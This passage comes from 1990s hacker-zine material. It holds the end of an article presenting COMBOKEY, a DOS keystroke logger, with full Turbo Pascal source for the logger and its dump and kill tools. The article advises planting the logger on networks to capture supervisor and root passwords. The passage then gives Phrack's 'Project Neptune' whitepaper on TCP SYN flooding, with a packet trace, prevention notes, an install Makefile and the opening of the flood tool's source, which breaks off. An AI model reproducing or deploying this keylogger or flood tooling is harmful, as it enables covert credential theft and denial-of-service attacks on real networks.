the old ISR and then looks in the BIOS keyboard buffer to see what the
key was. Yeah, you don't get the funky-ass key combinations like
control-shift-right-alt-F2-Z, but hey, I'm just after the passwords.
When a new key is pressed, it's dumped in the buffer. When the buffer
is full, nothing happens. I'll leave writing it to a file as an
exercise to the reader.
My favorite feature, if I may say so myself, is the fact that COMBOKEY
has an API in it, sort of. Interrupt 255 is also latched and provides
the "user" an interface to the presently running copy of COMBOKEY. But
not just anyone can go poking into 255 to kill COMBOKEY or get a buffer
dump or whatever. First, you gotta send a combination.
Look at the "const" section of COMBOKEY and you'll see a constant array
of four bytes. Change these numbers to whatever the hell you want. To
use the COMBOKEY interface you need to send each of these bytes
sequentially in AX to ISR 255. Look at the "DoCombo" procedure in Dump
or Kill to see what I mean.
After you send the combo, you send one more byte that represents the
command.
Dump buffer: AX=C0h Dumps the buffer to a chunk of memory at ES:DI.
Get info: AX=C2h Sends a TinfoRec (see source) to ES:DI.
Kill: AX=C1h Deactivates the recorder.
There are two additional programs following: Dump and Kill. These just
use the interface to do their appropriate actions.
THE PROPER ETIQUETTE OF COMBOKEY
There's a good deal of social engineering involved with using COMBOKEY.
Since it works on only the machine you put it on, you have to know where
to put it in the first place to be most effective. (Or be really
resourceful and put it on every machine around.)
To maximize your amusement, get the supervisor password first, and then
put this program in the startup sequence of the network. Then go nuts.
This program gets REALLY fun when your net is equipped with TCP/IP apps
like Telnet, and some moron has their home machine hooked up to the
Net, and they actually log into it with root from your net. Instant
party.
NEAT TRICKS TO TRY
If I ever get around to it, it'd be cool to use the IPX interface to
actually broadcast the keystrokes over to a waiting machine for instant
feedback.
The next trick to try is to maybe build a hardware version of this with
a little microcontroller. A Motorola 68HC11 would do nicely. This
would get rid of the pesky problem of reseting the machine or turning
the power off.
Ah well. Comments and the like to jsrs@cyberspace.com. Happy hunting.
-------------------------------------------------------------------------------
{ Source notes:
This'll compile on TurboPascal 6 or better. Might even work with 5.
Why Turbo? Cause it generates damn tight code, and it's much more readable
for the newbies than all assembly. }
{ComboKey - It's a TSR, so we gotta do the mem setup. }
{$M 1024, 0, 2100}
program ComboKey;
uses Dos; { For Keep() }
const
DUMP_BUFFER = $C0;
KILL_RECORDER = $C1;
GET_INFO = $C2;
BUFSIZE = 2048; { In bytes, NOT paragraphs! }
DISPLAY_MAX = 100;
combo: Array[0..3] of Byte = ( 01, 01, 19, 74 );
type
PBuf = ^TBuf;
TBuf = Array[0..BUFSIZE-1] of Byte;
PInfoRec = ^TInfoRec;
TInfoRec = record
buffer_size: Word; { Word is 16 bit, unsigned }
overwrite: Word;
buffer_ptr: Word;
end;
var
old9o, old9s: Word; { Must be in this order! }
wptr: Word absolute $40:$1c; { Ptr to next avail slot in kbd buffer }
q_top: Word absolute $40:$80;
q_bot: Word absolute $40:$82;
buffer: PBuf;
buf_ptr: Word;
overwrite_ctr: Word;
last_wptr: Word;
tumbler: Byte; { How many numbers in the combo right so far? }
procedure SetVector( int: Byte; s, o: Word);
begin
asm
push ds
cli
mov ah, 25h
mov al, int
mov ds, s
mov dx, o
int 21h
sti
pop ds
end;
end;
procedure NewInt09(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
interrupt;
var
offset: Word;
c: Byte;
l: Word;
ctr: Word;
begin
{ First call the old handler. Do the pushf, cause this is an
interrupt handler. }
asm
pushf
call dword ptr [old9o] { Since old9s is next, it works }
cli
end;
{ This isn't a press, but a release - ignore it. }
if last_wptr = wptr then Exit;
last_wptr:=wptr;
{ Did the queue just wrap? }
if (wptr = q_top) then offset:=q_bot-2
else offset:=wptr-2;
Inc(buf_ptr);
if (buf_ptr = BUFSIZE) then begin { we'd write it, but oh well. }
buf_ptr:=0;
Inc(overwrite_ctr);
end;
buffer^[buf_ptr]:=Mem[$40:offset];
asm
sti
end;
end;
{ Here's the interface system. Don't bother saving the old $FF,
cause who uses it anyway?! }
procedure NewIntFF(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
interrupt;
var
command: Word;
res, rdi: Word;
infoptr: PInfoRec;
l: Word;
begin
command:=AX;
res:=ES;
rdi:=DI;
if tumbler=4 then begin { we have a winner... }
tumbler:=0;
asm
sti
end;
case command of
DUMP_BUFFER: begin
asm
push ds
mov cx, BUFSIZE
mov es, [res]
mov di, [rdi]
mov ax, [WORD PTR buffer+2]
mov ds, ax
mov ax, [WORD PTR buffer]
mov si, ax
cld
rep movsb
pop ds
end;
end;
KILL_RECORDER: begin
SetVector(9, old9s, old9o);
end;
GET_INFO: begin
asm
mov es, [res]
mov di, [rdi]
mov ax, BUFSIZE
mov es:[di], ax
mov ax, [overwrite_ctr]
mov es:[di+2], ax
mov ax, [buf_ptr]
mov es:[di+4], ax
end;
end;
end;
asm
cli
end;
end;
if command=combo[tumbler] then Inc(tumbler)
else tumbler:=0;
end;
begin
asm
mov ah, $35
mov al, 9
int $21
mov ax, es
mov old9s, ax
mov old9o, bx
end;
SetVector(9, Seg(NewInt09), Ofs(NewInt09));
SetVector(255, Seg(NewIntFF), Ofs(NewIntFF));
buffer:=New(PBuf);
buf_ptr:=0;
overwrite_ctr:=0;
last_wptr:=0;
tumbler:=0;
Keep(0);
end.
-------------------------------------------------------------------------------
{ Kills the keyrecorder }
program Kill;
const
combo0 = 01;
combo1 = 01;
combo2 = 19;
combo3 = 74;
KILL_RECORDER = $C1;
procedure ResetCombo;
var
l: Word;
begin
for l:=1 to 4 do asm
mov ax, 0
int $ff
end;
end;
procedure DoCombo;
begin
asm
mov ax, combo0
int $ff
mov ax, combo1
int $ff
mov ax, combo2
int $ff
mov ax, combo3
int $ff
end;
end;
begin
ResetCombo;
DoCombo;
asm
mov ax, KILL_RECORDER
int $ff
end;
end.
-------------------------------------------------------------------------------
{ Syntax:
DUMP DESTFILE.FIL
This'll dump the buffer information and contents to the file. If
no file is given, it goes to the screen. }
program Dump;
const
combo0 = 01;
combo1 = 01;
combo2 = 19;
combo3 = 74;
DUMP_BUFFER = $C0;
GET_INFO = $C2;
type
PInfoRec = ^TInfoRec;
TInfoRec = record
buffer_size: Word;
overwrite: Word;
buffer_ptr: Word;
end;
var
info: TInfoRec;
buffer: Array[0..8191] of Byte;
l: Word;
f: Text;
procedure ResetCombo;
var
l: Word;
begin
for l:=1 to 4 do asm
mov ax, 0
int $ff
end;
end;
procedure DoCombo;
begin
asm
mov ax, combo0
int $ff
mov ax, combo1
int $ff
mov ax, combo2
int $ff
mov ax, combo3
int $ff
end;
end;
begin
Assign(f, ParamStr(1));
Rewrite(f);
ResetCombo;
DoCombo;
asm
mov ax, SEG info
mov es, ax
mov di, OFFSET info
mov ax, GET_INFO
int $ff
end;
writeln(f,'Buffer size: ',info.buffer_size);
writeln(f,'Buffer ptr: ',info.buffer_ptr);
writeln(f,'Overwrite: ',info.overwrite);
DoCombo;
asm
mov ax, SEG buffer
mov es, ax
mov di, OFFSET buffer
mov ax, DUMP_BUFFER
int $ff
end;
for l:=0 to info.buffer_ptr do begin
write(f, Char(buffer[l]));
if buffer[l] = 13 then write(f,#10);
end;
Close(f);
end.
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 13 of 18
[ Project Neptune ]
by daemon9 / route / infinity
for Phrack Magazine
July 1996 Guild Productions, kid
comments to route@infonexus.com
This project is a comprehensive analysis of TCP SYN flooding. You
may be wondering, why such a copious treatment of TCP SYN flooding?
Apparently, someone had to do it. That someone turned out to be me (I need
a real hobby). The SYNflood Project consists of this whitepaper, including
anotated network monitor dumps and fully functional robust Linux sourcecode.
--[ Introduction ]--
TCP SYN flooding is a denial of service (DOS) attack. Like most DOS
attacks, it does not exploit a software bug, but rather a shortcoming in the
implemenation of a particular protocol. For example, mail bombing DOS attacks
work because most SMTP agents are dumb and will accept whatever is sent their
way. ICMP_ECHO floods exploit the fact that most kernels will simply reply to
ICMP_ECHO request packets one after another, ad inifintum. We will see that
TCP SYN flood DOS attacks work because of the current implementation of TCP's
connection establishment protocol.
--[ Overview ]--
This whitepaper is intended as a complete introduction to TCP SYN
flooding (refered to hereafter as SYN flooding). It will cover the attack
in detail, including all relevant necessary background information. It is
organized into sections:
Section I. TCP Background Information
Section II. TCP Memory Structures and the Backlog
Section III. TCP Input Processing
Section IV. The Attack
Section V. Network Trace
Section VI. Neptune.c
Section VII. Discussion and Prevention
Section VIII. References
(Note that readers unfamiliar with the TCP/IP protocol suite may wish to first
read ftp://ftp.infonexus.com/pub/Philes/NetTech/TCP-IP/tcipIp.intro.txt.gz)
--[ The Players ]--
A: Target host
X: Unreachable host
Z: Attacking host
Z(x): Attacker masquerading as the unreachable
--[ The Figures ]--
There are a few network transaction figures in the paper and
they are to be interpreted as per the following example:
tick host a control host b
tick:
A unit of time. There is no distinction made as to *how* much time
passes between ticks, just that time passes. It's generally not going to be
a great deal.
host a:
A machine particpating in a TCP-based conversation.
control:
This field shows any relevant control bits set in the TCP header and
the direction the data is flowing
host b:
A machine particpating in a TCP-based conversation.
For example:
1 A ---SYN---> B
In this case, at the first refrenced point in time, host a is sending
a TCP segment to host b with the SYN bit on. Unless stated, we are generally
not concerned with the data portion of the TCP segment.
Section I. TCP Background Information
TCP is a connection-oriented, reliable transport protocol. TCP is
responsible for hiding network intricacies from the upper layers. A
connection-oriented protcol implies that the two hosts participating in a
discussion must first establish a connection before data may be exchanged. In
TCP's case, this is done with the three-way handshake. Reliability can be
provided in a number of ways, but the only two we are concerned with are data
sequencing and acknowledgement. TCP assigns sequence numbers to every byte in
every segment and acknowledges all data bytes recieved from the other end.
(ACK's consume a sequence number, but are not themselves ACK'd. That would be
ludicris.)
--[ TCP Connection Establishment ]--
In order to exchange data using TCP, hosts must establish a connection.
TCP establishes a connection in a 3 step process called the 3-way handshake.
If machine A is running a client program and wishes to conect to a server
program on machine B, the process is as follows:
fig(1)
1 A ---SYN---> B
2 A <---SYN/ACK--- B
3 A ---ACK---> B
At (1) the client is telling the server that it wants a connection.
This is the SYN flag's only purpose. The client is telling the server that
the sequence number field is valid, and should be checked. The client will
set the sequence number field in the TCP header to it's ISN (initial sequence
number). The server, upon receiving this segment (2) will respond with it's
own ISN (therefore the SYN flag is on) and an ACKnowledgement of the clients
first segment (which is the client's ISN+1). The client then ACK's the
server's ISN (3). Now data transfer may take place.
--[ TCP Control Flags ]--
There are six TCP control flags. We are only concerned with 3, but
the others are included for posterity:
*SYN: Synchronize Sequence Numbers
The synchronize sequence numbers field is valid. This flag is only
valid during the 3-way handshake. It tells the receiving TCP to check the
sequence number field, and note it's value as the connection-initiator's
(usually the client) initial sequence number. TCP sequence numbers can
simply be thought of as 32-bit counters. They range from 0 to 4,294,967,295.
Every byte of data exchanged across a TCP connection (along with certain
flags) is sequenced. The sequence number field in the TCP header will contain
the sequence number of the *first* byte of data in the TCP segment.
*ACK: Acknowledgement
The acknowledgement number field is valid. This flag is almost always
set. The acknowledgement number field in the TCP header holds the value of
the next *expected* sequence number (from the other side), and also
acknowledges *all* data (from the other side) up through this ACK number minus
one.
*RST: Reset
Destroy the referenced connection. All memory structures are torn
down.
URG: Urgent
The urgent pointer is valid. This is TCP's way of implementing out
of band (OOB) data. For instance, in a telnet connection a `ctrl-c` on the
client side is considered urgent and will cause this flag to be set.
PSH: Push
The receiving TCP should not queue this data, but rather pass it to
the application as soon as possible. This flag should always be set in
interactive connections, such as telnet and rlogin.
FIN: Finish
The sending TCP is finished transmitting data, but is still open to
accepting data.
--[ Ports ]--
To grant simultaneous access to the TCP module, TCP provides a user
interface called a port. Ports are used by the kernel to identify network
processes. They are strictly transport layer entities. Together with an
IP address, a TCP port provides provides an endpoint for network
communications. In fact, at any given moment *all* Internet connections can
be described by 4 numbers: the source IP address and source port and the
destination IP address and destination port. Servers are bound to
'well-known' ports so that they may be located on a standard port on
different systems. For example, the telnet daemon sits on TCP port 23.
Section II. TCP Memory Structures and the Backlog
For a copius treatment of the topic of SYN flooding, it is necessary
to look at the memory structures that TCP creates when a client SYN arrives
and the connection is pending (that is, a connection that is somewhere in
the process of the three-way handshake and TCP is in the SYN_SENT or
SYN_RVCD state).
--[ BSD ]--
Under BSD style network code, for any given pending TCP connection
there are three memory structures that are allocated (we do not discuss the
process (proc) structure and file structure, but the reader should be aware
that they exist as well.):
Socket Structure (socket{}):
Holds the information related to the local end of the communications
link: protocol used, state information, addressing information, connection
queues, buffers, and flags.
Internet Protocol Control Block Structure (inpcb{}):
PCB's are used at the transport layer by TCP (and UDP) to hold various
pieces of information needed by TCP. They hold: TCP state information, IP
address information, port numbers, IP header prototype and options and a
pointer to the routing table entry for the destination address. PCB's are
created for a given TCP based server when the server calls listen(),
TCP Control Block Structure (tcpcb{}):
The TCP control block contains TCP specific information such as timer
information, sequence number information, flow control status, and OOB data.
--[ Linux ]--
Linux uses a different scheme of memory allocation to hold network
information. The socket structure is still used, but instead of the pcb{}
and tcpcb{}, we have:
Sock Structure (sock{}):
Protocol specific information, most of the data structures are TCP
related. This is a huge structure.
SK Structure (sk_buff{}):
Holds more protocol specific information including packet header
information, also contains a sock{}.
According to Alan Cox:
The inode is the inode holding the socket (this may be a dummy inode
for non file system sockets like IP), the socket holds generic high level
methods and the struct sock is the protocol specific object, although all but
a few experimental high performance items use the same generic struct sock and
support code. That holds chains of linear buffers (struct sk_buff's).
[ struct inode -> struct socket -> struct sock -> chains of sk_buff's ]
--[ The Backlog Queue]--
These are large memory structures. Every time a client SYN arrives
on a valid port (a port where a TCP server is listen()ing), they must be
allocated. If there were no limit, a busy host could easily exhuast all of
it's memory just trying to process TCP connections. (This would be an even
simpler DOS attack.) However, there is an upper limit to amount of
concurrent connection requests a given TCP can have outstanding for a
given socket. This limit is the backlog and it is the length of the queue
where incoming (as yet incomplete) connections are kept. This queue limit
applies to both the number of imcomplete connections (the 3-way handshake has
not been completed) and the number of completed connections that have not
been pulled from the queue by the application by way of the accept() call.
If this backlog limit is reached, we will see that TCP will silently
discard all incoming connection requests until the pending connections can
be dealt with.
The backlog is not a large value. It does not have to be. Normally
TCP is quite expedient in connection establishment processing. Even if a
connection arrived while the queue was full, in all likelyhood, when the
client retransmits it's connection request segment, the receiving TCP will
have room again in it's queue. Different TCP implementations have different
backlog sizes. Under BSD style networking code, there is also 'grace' margin
of 3/2. That is, TCP will allow up to backlog*3/2+1 connections. This will
allow a socket one connection even if it calls listen with a backlog of 0.
Some common backlog values:
fig(2)
OS Backlog BL+Grace Notes
---------------------------------------------------------------------------
SunOS 4.x.x: 5 8
IRIX 5.2: 5 8
Solaris
Linux 1.2.x: 10 10 Linux does not have this grace margin.
FreeBSD 2.1.0: 32
FreeBSD 2.1.5: 128
Win NTs 3.5.1: 6 6 NT does not appear to have this margin.
Win NTw 4.0: 6 6 NT has a pathetic backlog.
Section III. TCP Input Processing
To see exactly where the attack works it is necessary to watch as
the receiving TCP processes an incoming segment. The following is true for
BSD style networking, and only processes relevant to this paper are
discussed.
A packet arrives and is demultiplexed up the protocol stack to TCP. The TCP
state is LISTEN:
Get header information:
TCP retrieves the TCP and IP headers and stores the information in
memory.
Verify the TCP checksum:
The standard Internet checksum is applied to the segment. If it
fails, no ACK is sent, and the segment is dropped, assuming the client will
retranmit it.
Locate the PCB{}:
TCP locates the pcb{} associated with the connection. If it is not
found, TCP drops the segment and sends a RST. (Aside: This is how TCP
handles connections that arrive on ports with no server listen()ing.) If
the PCB{} exists, but the state is CLOSED, the server has not called
connect() or listen(). The segment is dropped, but no RST is sent. The
client is expected to retransmit it's connection request. We will see this
occurence when we discuss the 'Linux Anomaly'.
Create new socket:
When a segment arrives for a listen()ing socket, a slave socket is
created. This is where a socket{}, tcpcb{}, and another pcb{} are created.
TCP is not committed to the connection at this point, so a flag is set to
cause TCP to drop the socket (and destroy the memory structures) if an
error is encountered. If the backlog limit is reached, TCP considers this
an error, and the connection is refused. We will see that this is exactly
why the attack works. Otherwise, the new socket's TCP state is LISTEN, and
the completion of the passive open is attempted.
Drop if RST, ACK, or no SYN:
If the segment contains a RST, it is dropped. If it contains an
ACK, it is dropped, a RST is sent and the memory structures torn down (the
ACK makes no sense for the connection at this point, and is considered an
error). If the segment does not have the SYN bit on, it is dropped. If
the segment contains a SYN, processing continues.
Address processing, etc:
TCP then gets the clients address information into a buffer and
connects it's pcb{} to the client, processes any TCP options, and
initializes it's initial send sequence (ISS) number.
ACK the SYN:
TCP sends a SYN, ISS and an ACK to the client. The connection
establishment timer is set for 75 seconds at this point. The state changes
to SYN_RCVD. Now. TCP is commited to the socket. We will see that this
is state the target TCP will be in when in the throes of the attack because
the expected client response is never received. The state remains SYN_RCVD
until the connection establishment timer expires, in which case the all the
memory structures associated with the connection are destroyed, and the
socket returns to the LISTEN state.
Section IV. The Attack
A TCP connection is initiated with a client issuing a request to a
server with the SYN flag on in the TCP header. Normally the server will
issue a SYN/ACK back to the client identified by the 32-bit source address in
the IP header. The client will then send an ACK to the server (as we
saw in figure 1 above) and data transfer can commence. When the client IP
address is spoofed to be that of an unreachable, host, however, the targetted
TCP cannot complete the 3-way handshake and will keep trying until it times
out. That is the basis for the attack.
The attacking host sends a few (we saw that as little as 6 is
enough) SYN requests to the target TCP port (for example, the telnet daemon).
The attacking host also must make sure that the source IP-address is spoofed
to be that of another, currently unreachable host (the target TCP will be
sending it's response to this address). IP (by way of ICMP) will inform TCP
that the host is unreachable, but TCP considers these errors to be transient
and leaves the resolution of them up to IP (reroute the packets, etc)
effectively ignoring them. The IP-address must be unreachable because the
attacker does not want *any* host to recieve the SYN/ACKs that will be coming
from the target TCP, which would elicit a RST from that host (as we saw in
TCP input above). This would foil the attack. The process is as follows:
fig(3)
1 Z(x) ---SYN---> A
Z(x) ---SYN---> A
Z(x) ---SYN---> A
Z(x) ---SYN---> A
Z(x) ---SYN---> A
Z(x) ---SYN---> A
2 X <---SYN/ACK--- A
X <---SYN/ACK--- A
...
3 X <---RST--- A
At (1) the attacking host sends a multitude of SYN requests to the target
to fill it's backlog queue with pending connections. (2) The target responds
with SYN/ACKs to what it believes is the source of the incoming SYNs. During
this time all further requests to this TCP port will be ignored. The target
port is flooded.
--[ Linux Anomaly ]--
In doing my research for this project, I noticed a very strange
implementation error in the TCP module of Linux. When a particular TCP
server is flooded on a Linux host, strange things are afoot... First, it
appears that the connection-establishment timer is broken. The 10 spoofed
connection-requests keep the sockets in the SYN_RCVD state for just
over 20 minutes (23 minutesto be exact. Wonder what the signifigance of
this is... Hmmm...). Much longer than the 75-seconds it *should* be. The
next oddity is even more odd... After that seemingly arbitrary time period
(I have to determine what the hell is going on there), TCP moves the flooded
sockets into the CLOSE state, where they *stay* until a connection-request
arrives on a *different* port. If a connection-request arrives on the
flooded port (now in the CLOSE state), it will not answer, acting as if it
is still flooded. After the connection-request arrives on a different port,
the CLOSEd sockets will be destroyed, and the original flooded port will be
free to answer requests again. It seems as though the connection-request
will spark the CLOSEd sockets into calling listen()... Damn wierd if you ask
me...
The implications of this are severe. I have been able to completely
disable all TCP based servers from answering requests indefinitely. If all
the TCP servers are flooded, there are none to recieve the valid connection
request to alleviate the CLOSE state from the flooded connections. Bad
news indeed.
[Note: as of 7.15.96 this is a conundrum. I have contacted Alan
Cox and Eric Schenk and plan to work with them on a solution to this
problem. I be forthcoming with all our findings as soon as possible. I
believe the problem to perhaps lie (at least in part) in the
tcp_close_pending() function... Or perhaps there is a logic error in how
TCP switches between the connection-establishment timer and the
keep-alive timer. They are both implemented using the same variable since
they are mutally exclusive...]
Section V. Network Trace
The following is a network trace from an actual SYN flooding session.
The target machine is Ash, a Linux 1.2.13 box. The attacker is Onyx. The
network is a 10Mbps ethernet.
Network Monitor trace Fri 07/12/96 10:23:34 Flood1.TXT
Frame Time Src MAC Addr Dst MAC Addr Protocol Description Src Other Addr Dst Other Addr Type Other Addr
1 2.519 onyx ash TCP/23 ....S., len: 4, seq:3580643269, ack:1380647758, win: 512, src 192.168.2.2 192.168.2.7 IP
2 2.520 ash onyx TCP/1510 .A..S., len: 4, seq: 659642873, ack:3580643270, win:14335, src 192.168.2.7 192.168.2.2 IP
3 2.520 onyx ash TCP/23 .A...., len: 0, seq:3580643270, ack: 659642874, win:14260, src 192.168.2.2 192.168.2.7 IP
A telnet client is started on Onyx, and we see the standard 3-way
handshake between the two hosts for the telnet session.
Lines 4-126 were interactive telnet traffic and added nothing to the
discussion.
127 12.804 ash onyx TCP/1510 .A...F, len: 0, seq: 659643408, ack:3580643401, win:14335, src 192.168.2.7 192.168.2.2 IP
128 12.804 onyx ash TCP/23 .A...., len: 0, seq:3580643401, ack: 659643409, win:14322, src 192.168.2.2 192.168.2.7 IP
129 12.805 onyx ash TCP/23 .A...F, len: 0, seq:3580643401, ack: 659643409, win:14335, src 192.168.2.2 192.168.2.7 IP
130 12.805 ash onyx TCP/1510 .A...., len: 0, seq: 659643409, ack:3580643402, win:14334, src 192.168.2.7 192.168.2.2 IP
Here we see the 4-way connection termination procedure.
At this point, the flood program is started on onyx, the information
filled in, and the attack is launched.
131 42.251 onyx *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.7
Onyx is attempting to get ash's ethernet address using ARP.
132 42.251 ash onyx ARP_RARP ARP: Reply, Target IP: 192.168.2.2 Target Hdwr Addr: 0020AF2311D7
Ash responds with it's ethernet address.
133 42.252 onyx ash TCP/23 ....S., len: 0, seq:3364942082, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
The flood begins. Onyx sends the first of 10 TCP segments with the
SYN bit on, and the IP address spoofed to the telnet daemon.
134 42.252 ash *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.10
Ash immediately attempts to resolve the ethernet address. However,
since there is no such host on the network (and no router to proxy
the request with) the ARP request will not be answered. The host,
is in effect, unreachable.
135 42.271 onyx ash TCP/23 ....S., len: 0, seq:3381719298, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
136 42.291 onyx ash TCP/23 ....S., len: 0, seq:3398496514, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
137 42.311 onyx ash TCP/23 ....S., len: 0, seq:3415273730, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
138 42.331 onyx ash TCP/23 ....S., len: 0, seq:3432050946, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
139 42.351 onyx ash TCP/23 ....S., len: 0, seq:3448828162, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
140 42.371 onyx ash TCP/23 ....S., len: 0, seq:3465605378, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
141 42.391 onyx ash TCP/23 ....S., len: 0, seq:3482382594, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
142 42.411 onyx ash TCP/23 ....S., len: 0, seq:3499159810, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
143 42.431 onyx ash TCP/23 ....S., len: 0, seq:3515937026, ack: 0, win: 242, src 192.168.2.10 192.168.2.7 IP
The next 9 of 10 SYNs. The telnet daemon on ash is now flooded.
At this point, another telnet client is started on Onyx.
144 47.227 onyx *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.7
Onyx is again attempting to get ash's ethernet address using ARP.
Hmmm, this entry should be in the arp cache. I should look into
this.
145 47.228 ash onyx ARP_RARP ARP: Reply, Target IP: 192.168.2.2 Target Hdwr Addr: 0020AF2311D7
Here is the ARP reply.
146 47.228 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win: 512, src 192.168.2.2 192.168.2.7 IP
147 50.230 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP
148 56.239 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP
Onyx is attempting to establish a connection with the telnet daemon
on Ash, which is, as we saw, flooded.
149 67.251 ash *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.10
Ash is still trying to get the ethernet address of the spoofed host.
In vain...
150 68.247 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP
151 92.254 onyx ash TCP/23 ....S., len: 4, seq:3625358638, ack: 0, win:14335, src 192.168.2.2 192.168.2.7 IP
Onyx is still transmitting it's connection-estabishment requests...
Also in vain.
152 92.258 ash *BROADCAST ARP_RARP ARP: Request, Target IP: 192.168.2.10
Hello? Are you out there?
Section VI. Neptune.c
Neptune.c is the companion code. It does everything we've talked
about, and more. Neptune.c is admittedly more complex than it needs to
be. I included several features that are not essential, but make the
program more robust. The program features: simple to use menuing system, an
alternative command line interface for easy integration into scripts,
ICMP_ECHO requesting to query if unreachable is in fact unreachable (AKA
'ping'ing), infinity mode (read the code) and a daemon mode with (psuedo)
random unreachable IP address choosing.
The menu is really self explanatory...
1 Enter target host
Enter yur target. If you are confused at this point, kill yurself.
2 Enter source (unreachable) host
Enter the puported sender. It is integral that this host be routable but not
reachable. Remember that the address must be a unicast address. If it is a
broadcast or multicast address it will be dropped by the target TCP.
3 Send ICMP_ECHO(s) to unreachable
Make sure that yur puported sender is in fact unreachable. This is not 100%
reliable as A) ICMP packets can be dropped by the unreliable network layer,
B) the host may filter out ICMP_ECHO packets.
4 Enter port number to flood
The target port to flood. There is an infinity switch.
5 Enter number of SYNs
The number of SYNs to send. Remember, this attack is not bandwidth hungry,
sending more packets than neccessary is totally useless.
6 Quit
Bye, bye.
7 Lanuch
Fire when ready.
8 Daemonize (may or may not be implemented in yur version)
Puts the program in dameon mode. It forks to the background and does it's
evilness there. Needs two more options: packet sending interval, and time
for daemon to live. Recommended packet sending interval is at least every
90 seconds, depending on the target TCP. 80 should work fine, as the
connection establishment timer is 75 seconds. Daemon lifetime is up to you.
Be kind.
Also the daemon portion includes routines to optionally make use
of a file of unreachable IP addresses and (pseudo) randomly choose from
them. The program reads the file and builds a dynamic array of these IP
addresses in network byte order and then uses rand (seeded from the time of
day in seconds --we don't need alot of entropy here, this isn't
cryptography--) to generate a number and then it mods that number by the
number of entries in the table to hash to a particular IP address.
Since the program opens raw sockets, it needs to run as root. By
default, it is installed SUID root in /usr/local/bin/neptune with the access
list in /etc/sfaccess.conf. The authentication mechanism works by checking
the usernames (via UID) of the attempted flooders. It is not a complex
algorithm, and in fact the code is quite simple (asside: If anyone can find
any security problems with the program being SUID root, --above the fact
that the program is admittedly evil-- I would love to hear about them). Root
is the only entry the access file starts off with.
For the program to work, you need to remove the comment marks from
line 318 (the actual sendto() call where the forged datagrams are sent). I
did that so the fools simply interested in causing trouble (and not interested
in learning) would find the program mostly useless.
Section VII. Discussion and Prevention
As we have seen, the attack works because TCP is attempting to do it's
job of providing a reliable transport. TCP must establish a connection first,
and this is where the weakness lies. (T/TCP is immune to this attack via TAO.
See my future paper: `The Next Generation Internet` for information on T/TCP
and IPng.) Under normal circumstances, assuming well-behaved networking
software, the worst that can happen is a TCP-based server may be wrapped up in
legimate connection-establishment processing and a few clients may have to
retransmit thier SYNs. But, a misbegotten client program can exploit this
connection-establishment weakness and down a TCP-based server with only a few
doctored segments.
The fact that SYN flooding requires such a small amount of network
traffic to be so effective is important to note. Consider other network
DOS attacks such as ICMP_ECHO floods (ping floods), mail bombs, mass mailing
list subscriptions, etc... To be effective, all of these attacks require
an attacker to transmit volumous amounts of network traffic. Not only does
this make these attacks more noticable on both ends by decreasing the amount
of available bandwidth (as such, often these attacks are waged from compromised
machines) but it also adds to the general traffic problems of the Internet.
SYN flooding can be deadly effective with as little as 360 packets/hour.
--[ Prevention ]--
Ok, so how do we stop it? Good question.
--[ TCPd ]--
TCP wrappers are almost useless. The magic they do is based on the
validity of the source IP-address of incoming datagrams. As we know, this can
be spoofed to whatever the attacker desires. Unless the target has denied
traffic from *everywhere* except known hosts, TCP wrappers will not save you.
--[ Increase the Backlog ]--
Increasing the default backlog is not much of a solution. In
comparision with the difficulty of an attacker simply sending more packets,
the memory requirements of the additional connection-establishment structures
is prohibitively expensive. At best it is an obfuscative (word check...?)
measure.
--[ Packet Filtering ]--
A smart packet filter (or kernel modification) of some kind may be
a viable solution. Briefly:
- Host keeps a recent log of incoming packets with the `SYN` bit on in a
linked list structure.
- The linked list cannot be permitted to grow without bound (another DOS
attack would present itself)
- When x amount of SYNs are received on a socket, certain characteristics
about the packets are compared, (Source port, source IP address, sequence
numbers, window size, etc) and if things seem fishy, the connection
requests and associated memory structures are immediately destroyed.
Section VIII. References
Ppl: A. Cox, R. Stevens
Books: TCP Illustrated vols II,III
This project made possible by a grant from the Guild Corporation.
EOF
------------------------8<--------------------------------------------
# Neptune Makefile
# daemon9, 1996 Guild Productions
all:
@gcc -o neptune neptune.c
@echo ""
@echo "'make install' will install the program..."
@echo ""
@echo "Warning! Neptune is installed SUID root by default!"
@echo ""
@echo "route@infonexus.com / Guild Corporation"
install:
strip ./neptune
mv ./neptune /usr/local/bin/neptune
chmod 4755 /usr/local/bin/neptune
@echo "root" > /etc/sfaccess.conf
@echo "Installation complete, access list is /etc/sfaccess.conf"
clean:
@rm -f *.o neptune /etc/sfaccess.conf
------------------------8<--------------------------------------------
/*
Neptune
v. 1.5
daemon9/route/infinity
June 1996 Guild productions
comments to daemon9@netcom.com
If you found this code alone, without the companion whitepaper
please get the real-deal:
ftp.infonexus.com/pub/SourceAndShell/Guild/Route/Projects/Neptune/neptune.tgz
Brief synopsis:
Floods the target host with TCP segments with the SYN bit on,
puportedly from an unreachable host. The return address in the
IP header is forged to be that of a known unreachable host. The
attacked TCP, if flooded sufficently, will be unable to respond
to futher connects. See the accompanying whitepaper for a full
treatment of the topic. (Also see my paper on IP-spoofing for
information on a related subject.)
Usage:
Figure it out, kid. Menu is default action. Command line usage is
available for easy integration into shell scripts. If you can't
figure out an unreachable host, the program will not work.
Gripes:
